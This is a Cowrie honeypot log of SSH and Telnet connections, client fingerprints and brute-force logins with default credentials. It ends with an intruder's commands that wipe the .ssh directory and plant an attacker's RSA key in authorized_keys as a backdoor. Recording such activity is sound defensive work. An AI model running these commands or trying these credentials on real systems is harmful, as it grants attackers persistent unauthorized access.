{"eventid":"cowrie.session.closed","duration":30.858911991119385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:40.974393Z","src_ip":"50.6.3.16","session":"9f90a32a1d4c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser1","message":"login attempt [ftpuser/ftpuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:41.676749Z","src_ip":"211.186.79.173","session":"42b3f25262d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:42.869795Z","src_ip":"211.186.79.173","session":"42b3f25262d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.478098154067993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:49.494028Z","src_ip":"50.6.3.16","session":"aa7a7b1a5dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087637424468994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:51.119159Z","src_ip":"50.6.3.16","session":"b22aed935384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.194.118.32","src_port":46520,"dst_ip":"10.17.0.5","dst_port":23,"session":"100c0496ac2b","protocol":"telnet","message":"New connection: 74.194.118.32:46520 (10.17.0.5:23) [session: 100c0496ac2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:52.682604Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":37710,"dst_ip":"10.17.0.5","dst_port":23,"session":"0002909bdff9","protocol":"telnet","message":"New connection: 176.65.149.254:37710 (10.17.0.5:23) [session: 0002909bdff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:42:58.585346Z"}
{"eventid":"cowrie.session.closed","duration":30.138556718826294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:02.642318Z","src_ip":"50.6.3.16","session":"68f792cf9b70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519081115722656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:04.745954Z","src_ip":"50.6.3.16","session":"12ea01f690a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.309618473052979,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:04.992134Z","src_ip":"74.194.118.32","session":"100c0496ac2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079639434814453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:05.203490Z","src_ip":"50.6.3.16","session":"b2f3dc3100ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061218976974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:07.859126Z","src_ip":"50.6.3.16","session":"54bd415f3be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":46836,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6d7a866263","protocol":"telnet","message":"New connection: 50.6.3.16:46836 (10.17.0.5:23) [session: 0e6d7a866263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:08.275520Z"}
{"eventid":"cowrie.session.closed","duration":30.657228469848633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:08.718214Z","src_ip":"50.6.3.16","session":"93a78c5835c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093091011047363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:11.651839Z","src_ip":"50.6.3.16","session":"2605d57a769c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":42404,"dst_ip":"10.17.0.5","dst_port":22,"session":"be39db89eaf4","protocol":"ssh","message":"New connection: 187.212.47.18:42404 (10.17.0.5:22) [session: be39db89eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:17.689429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:17.698179Z","src_ip":"187.212.47.18","session":"be39db89eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":35953,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e1ac673bf5","protocol":"telnet","message":"New connection: 209.205.218.26:35953 (10.17.0.5:23) [session: a7e1ac673bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:17.791039Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:17.954339Z","src_ip":"187.212.47.18","session":"be39db89eaf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newtest","password":"password","message":"login attempt [newtest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:18.293143Z","src_ip":"187.212.47.18","session":"be39db89eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":44616,"dst_ip":"159.203.135.109","dst_port":22,"session":"26fbcc94912e","protocol":"ssh","message":"New connection: 4.213.160.153:44616 (159.203.135.109:22) [session: 26fbcc94912e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:19.246061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:19.265146Z","src_ip":"4.213.160.153","session":"26fbcc94912e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:19.373832Z","src_ip":"187.212.47.18","session":"be39db89eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:19.487460Z","src_ip":"4.213.160.153","session":"26fbcc94912e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.85","src_port":46832,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a24bdeab9fa","protocol":"ssh","message":"New connection: 176.65.148.85:46832 (159.203.135.109:22) [session: 9a24bdeab9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:19.764375Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"102030","message":"login attempt [admin/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:20.212289Z","src_ip":"4.213.160.153","session":"26fbcc94912e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:20.733006Z","src_ip":"176.65.148.85","session":"9a24bdeab9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:20.740501Z","src_ip":"176.65.148.85","session":"9a24bdeab9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:21.398423Z","src_ip":"4.213.160.153","session":"26fbcc94912e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:22.547992Z","src_ip":"176.65.148.85","session":"9a24bdeab9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:23.018904Z","src_ip":"176.65.148.85","session":"9a24bdeab9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":41412,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbf126cf54b","protocol":"ssh","message":"New connection: 130.12.180.51:41412 (159.203.135.109:22) [session: fcbf126cf54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:24.715981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:24.721957Z","src_ip":"130.12.180.51","session":"fcbf126cf54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:24.804820Z","src_ip":"130.12.180.51","session":"fcbf126cf54b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:25.058011Z","src_ip":"130.12.180.51","session":"fcbf126cf54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:25.581529Z","src_ip":"130.12.180.51","session":"fcbf126cf54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.29506802558899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:28.880272Z","src_ip":"176.65.149.254","session":"0002909bdff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":33356,"dst_ip":"10.17.0.5","dst_port":23,"session":"a916886ad32d","protocol":"telnet","message":"New connection: 50.6.3.16:33356 (10.17.0.5:23) [session: a916886ad32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:33.563642Z"}
{"eventid":"cowrie.session.closed","duration":30.582279205322266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:38.857704Z","src_ip":"50.6.3.16","session":"0e6d7a866263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39339,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3ea49d6061","protocol":"telnet","message":"New connection: 209.205.218.26:39339 (10.17.0.5:23) [session: ac3ea49d6061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:43.268957Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39812,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06c8fe79541","protocol":"telnet","message":"New connection: 209.205.218.26:39812 (10.17.0.5:23) [session: c06c8fe79541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:47.451100Z"}
{"eventid":"cowrie.session.closed","duration":36.243486642837524,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:54.034385Z","src_ip":"209.205.218.26","session":"a7e1ac673bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":33210,"dst_ip":"10.17.0.5","dst_port":22,"session":"622f0c557c37","protocol":"ssh","message":"New connection: 211.186.79.173:33210 (10.17.0.5:22) [session: 622f0c557c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:58.502267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:58.506531Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:58.694578Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2018","message":"login attempt [admin/admin@2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:59.479588Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:59.906038Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:59.909534Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:43:59.913290Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:00.105035Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:00.599247Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:00.603110Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
